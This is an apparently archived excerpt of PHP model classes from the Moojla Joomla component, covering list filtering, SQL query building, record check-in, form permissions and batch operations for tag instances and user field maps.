			$title = StringHelper::increment($title);
		}

		return $title;
	}
}
models/tag_instances.php000064400000023354151165724400011376
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		tag_instances.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Tag_instances Model
 */
class MoojlaModelTag_instances extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.access','access',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'g.fullname','moojlacourse',
				'h.tagname','moodletag'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$moojlacourse = $this->getUserStateFromRequest($this->context .
'.filter.moojlacourse', 'filter_moojlacourse');
		if ($formSubmited)
		{
			$moojlacourse =
$app->input->post->get('moojlacourse');
			$this->setState('filter.moojlacourse', $moojlacourse);
		}

		$moodletag = $this->getUserStateFromRequest($this->context .
'.filter.moodletag', 'filter_moodletag');
		if ($formSubmited)
		{
			$moodletag = $app->input->post->get('moodletag');
			$this->setState('filter.moodletag', $moodletag);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();
        
		// return items
		return $items;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_tag_instance',
'a'));

		// From the moojla_course table.
		$query->select($db->quoteName('g.fullname','moojlacourse_fullname'));
		$query->join('LEFT',
$db->quoteName('#__moojla_course', 'g') . ' ON
(' . $db->quoteName('a.moojlacourse') . ' = ' .
$db->quoteName('g.remoteid') . ')');

		// From the moojla_tag table.
		$query->select($db->quoteName('h.tagname','moodletag_tagname'));
		$query->join('LEFT',
$db->quoteName('#__moojla_tag', 'h') . ' ON
(' . $db->quoteName('a.moodletag') . ' = ' .
$db->quoteName('h.tagid') . ')');

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}

		// Join over the asset groups.
		$query->select('ag.title AS access_level');
		$query->join('LEFT', '#__viewlevels AS ag ON ag.id =
a.access');
		// Filter by access level.
		$_access = $this->getState('filter.access');
		if ($_access && is_numeric($_access))
		{
			$query->where('a.access = ' . (int) $_access);
		}
		elseif (MoojlaHelper::checkArray($_access))
		{
			// Secure the array for the query
			$_access = ArrayHelper::toInteger($_access);
			// Filter by the Access Array.
			$query->where('a.access IN (' . implode(',',
$_access) . ')');
		}
		// Implement View Level Access
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$groups = implode(',', $user->getAuthorisedViewLevels());
			$query->where('a.access IN (' . $groups . ')');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.moojlacourse LIKE '.$search.' OR
g.fullname LIKE '.$search.' OR a.moodletag LIKE
'.$search.' OR h.tagname LIKE '.$search.')');
			}
		}

		// Filter by Moojlacourse.
		$_moojlacourse = $this->getState('filter.moojlacourse');
		if (is_numeric($_moojlacourse))
		{
			if (is_float($_moojlacourse))
			{
				$query->where('a.moojlacourse = ' . (float)
$_moojlacourse);
			}
			else
			{
				$query->where('a.moojlacourse = ' . (int) $_moojlacourse);
			}
		}
		elseif (MoojlaHelper::checkString($_moojlacourse))
		{
			$query->where('a.moojlacourse = ' .
$db->quote($db->escape($_moojlacourse)));
		}
		// Filter by Moodletag.
		$_moodletag = $this->getState('filter.moodletag');
		if (is_numeric($_moodletag))
		{
			if (is_float($_moodletag))
			{
				$query->where('a.moodletag = ' . (float) $_moodletag);
			}
			else
			{
				$query->where('a.moodletag = ' . (int) $_moodletag);
			}
		}
		elseif (MoojlaHelper::checkString($_moodletag))
		{
			$query->where('a.moodletag = ' .
$db->quote($db->escape($_moodletag)));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		// Check if the value is an array
		$_access = $this->getState('filter.access');
		if (MoojlaHelper::checkArray($_access))
		{
			$id .= ':' . implode(':', $_access);
		}
		// Check if this is only an number or string
		elseif (is_numeric($_access)
		 || MoojlaHelper::checkString($_access))
		{
			$id .= ':' . $_access;
		}
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' .
$this->getState('filter.moojlacourse');
		$id .= ':' . $this->getState('filter.moodletag');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_tag_instance'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_tag_instance'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/user_fields_map.php000064400000022634151165724400011715
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_fields_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * User_fields_map Model
 */
class MoojlaModelUser_fields_map extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.iscv','iscv',
				'g.name','juserfields',
				'h.id','muserfields'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$iscv = $this->getUserStateFromRequest($this->context .
'.filter.iscv', 'filter_iscv');
		if ($formSubmited)
		{
			$iscv = $app->input->post->get('iscv');
			$this->setState('filter.iscv', $iscv);
		}

		$juserfields = $this->getUserStateFromRequest($this->context .
'.filter.juserfields', 'filter_juserfields');
		if ($formSubmited)
		{
			$juserfields = $app->input->post->get('juserfields');
			$this->setState('filter.juserfields', $juserfields);
		}

		$muserfields = $this->getUserStateFromRequest($this->context .
'.filter.muserfields', 'filter_muserfields');
		if ($formSubmited)
		{
			$muserfields = $app->input->post->get('muserfields');
			$this->setState('filter.muserfields', $muserfields);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();

		// set selection value to a translatable value
		if (MoojlaHelper::checkArray($items))
		{
			foreach ($items as $nr => &$item)
			{
				// convert iscv
				$item->iscv = $this->selectionTranslation($item->iscv,
'iscv');
			}
		}


/***[JCBGUI.admin_view.php_getitems_after_all.134.$$$$]***/
    foreach($items as $index => $it)
    {
      $items[$index]->juserfields_name = substr($it->juserfields,
3);
      $items[$index]->muserfields_id = substr($it->muserfields, 3);
    }
/***[/JCBGUI$$$$]***/

        
		// return items
		return $items;
	}

	/**
	 * Method to convert selection values to translatable string.
	 *
	 * @return translatable string
	 */
	public function selectionTranslation($value,$name)
	{
		// Array of iscv language strings
		if ($name === 'iscv')
		{
			$iscvArray = array(
				1 => 'COM_MOOJLA_USER_FIELD_MAP_YES',
				0 => 'COM_MOOJLA_USER_FIELD_MAP_NO'
			);
			// Now check if value is found in this array
			if (isset($iscvArray[$value]) &&
MoojlaHelper::checkString($iscvArray[$value]))
			{
				return $iscvArray[$value];
			}
		}
		return $value;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_user_field_map',
'a'));

		// From the fields table.
		$query->select($db->quoteName('g.name','juserfields_name'));
		$query->join('LEFT',
$db->quoteName('#__fields', 'g') . ' ON ('
. $db->quoteName('a.juserfields') . ' = ' .
$db->quoteName('g.id') . ')');

		// From the moojla_user_field_map table.
		$query->select($db->quoteName('h.id','muserfields_id'));
		$query->join('LEFT',
$db->quoteName('#__moojla_user_field_map', 'h') .
' ON (' . $db->quoteName('a.muserfields') . ' =
' . $db->quoteName('h.id') . ')');

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.juserfields LIKE '.$search.' OR
g.name LIKE '.$search.' OR a.muserfields LIKE
'.$search.' OR h.id LIKE '.$search.')');
			}
		}

		// Filter by Iscv.
		$_iscv = $this->getState('filter.iscv');
		if (is_numeric($_iscv))
		{
			if (is_float($_iscv))
			{
				$query->where('a.iscv = ' . (float) $_iscv);
			}
			else
			{
				$query->where('a.iscv = ' . (int) $_iscv);
			}
		}
		elseif (MoojlaHelper::checkString($_iscv))
		{
			$query->where('a.iscv = ' .
$db->quote($db->escape($_iscv)));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' . $this->getState('filter.iscv');
		$id .= ':' .
$this->getState('filter.juserfields');
		$id .= ':' .
$this->getState('filter.muserfields');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_user_field_map'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_user_field_map'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/user_field_map.php000064400000052376151165724400011540
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		user_field_map.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

/**
 * Moojla User_field_map Model
 */
class MoojlaModelUser_field_map extends JModelAdmin
{
	/**
	 * The tab layout fields array.
	 *
	 * @var      array
	 */
	protected $tabLayoutFields = array(
		'details' => array(
			'left' => array(
				'juserfields',
				'muserfields',
				'iscv'
			)
		)
	);

	/**
	 * @var        string    The prefix to use with controller messages.
	 * @since   1.6
	 */
	protected $text_prefix = 'COM_MOOJLA';

	/**
	 * The type alias for this content type.
	 *
	 * @var      string
	 * @since    3.2
	 */
	public $typeAlias = 'com_moojla.user_field_map';

	/**
	 * Returns a Table object, always creating it
	 *
	 * @param   type    $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'user_field_map', $prefix =
'MoojlaTable', $config = array())
	{
		// add table path for when model gets used from other component
		$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
		// get instance of the table
		return JTable::getInstance($type, $prefix, $config);
	}
    
	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		if ($item = parent::getItem($pk))
		{
			if (!empty($item->params) && !is_array($item->params))
			{
				// Convert the params field to an array.
				$registry = new Registry;
				$registry->loadString($item->params);
				$item->params = $registry->toArray();
			}

			if (!empty($item->metadata))
			{
				// Convert the metadata field to an array.
				$registry = new Registry;
				$registry->loadString($item->metadata);
				$item->metadata = $registry->toArray();
			}
		}

		return $item;
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      Data for the form.
	 * @param   boolean  $loadData  True if the form is to load its own data
(default case), false if not.
	 * @param   array    $options   Optional array of options for the form
creation.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
	{
		// set load data option
		$options['load_data'] = $loadData;
		// check if xpath was set in options
		$xpath = false;
		if (isset($options['xpath']))
		{
			$xpath = $options['xpath'];
			unset($options['xpath']);
		}
		// check if clear form was set in options
		$clear = false;
		if (isset($options['clear']))
		{
			$clear = $options['clear'];
			unset($options['clear']);
		}

		// Get the form.
		$form = $this->loadForm('com_moojla.user_field_map',
'user_field_map', $options, $clear, $xpath);

		if (empty($form))
		{
			return false;
		}

		$jinput = JFactory::getApplication()->input;

		// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
		if ($jinput->get('a_id'))
		{
			$id = $jinput->get('a_id', 0, 'INT');
		}
		// The back end uses id so we use that the rest of the time and set it to
0 by default.
		else
		{
			$id = $jinput->get('id', 0, 'INT');
		}

		$user = JFactory::getUser();

		// Check for existing item.
		// Modify the form based on Edit State access controls.
		if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.user_field_map.' . (int) $id))
			|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
		{
			// Disable fields for display.
			$form->setFieldAttribute('ordering', 'disabled',
'true');
			$form->setFieldAttribute('published', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('ordering', 'filter',
'unset');
			$form->setFieldAttribute('published', 'filter',
'unset');
		}
		// If this is a new item insure the greated by is set.
		if (0 == $id)
		{
			// Set the created_by to this user
			$form->setValue('created_by', null, $user->id);
		}
		// Modify the form based on Edit Creaded By access controls.
		if (!$user->authorise('core.edit.created_by',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'disabled', 'true');
			// Disable fields for display.
			$form->setFieldAttribute('created_by',
'readonly', 'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created_by', 'filter',
'unset');
		}
		// Modify the form based on Edit Creaded Date access controls.
		if (!$user->authorise('core.edit.created',
'com_moojla'))
		{
			// Disable fields for display.
			$form->setFieldAttribute('created', 'disabled',
'true');
			// Disable fields while saving.
			$form->setFieldAttribute('created', 'filter',
'unset');
		}
		// Only load these values if no id is found
		if (0 == $id)
		{
			// Set redirected view name
			$redirectedView = $jinput->get('ref', null,
'STRING');
			// Set field name (or fall back to view name)
			$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
			// Set redirected view id
			$redirectedId = $jinput->get('refid', 0, 'INT');
			// Set field id (or fall back to redirected view id)
			$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
			if (0 != $redirectedValue && $redirectedField)
			{
				// Now set the local-redirected field default value
				$form->setValue($redirectedField, null, $redirectedValue);
			}
		}
		return $form;
	}

	/**
	 * Method to get the script that have to be included on the form
	 *
	 * @return string	script files
	 */
	public function getScript()
	{
		return 'media/com_moojla/js/user_field_map.js';
	}
    
	/**
	 * Method to test whether a record can be deleted.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to delete the record. Defaults to the
permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canDelete($record)
	{
		if (!empty($record->id))
		{
			if ($record->published != -2)
			{
				return;
			}

			$user = JFactory::getUser();
			// The record has been set. Check the record permissions.
			return $user->authorise('core.delete',
'com_moojla.user_field_map.' . (int) $record->id);
		}
		return false;
	}

	/**
	 * Method to test whether a record can have its state edited.
	 *
	 * @param   object  $record  A record object.
	 *
	 * @return  boolean  True if allowed to change the state of the record.
Defaults to the permission set in the component.
	 *
	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.user_field_map.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.user_field_map.'. ((int) isset($data[$key]) ?
$data[$key] : 0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_user_field_map'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.user_field_map.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.user_field_map', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('user_field_map');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('user_field_map');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);
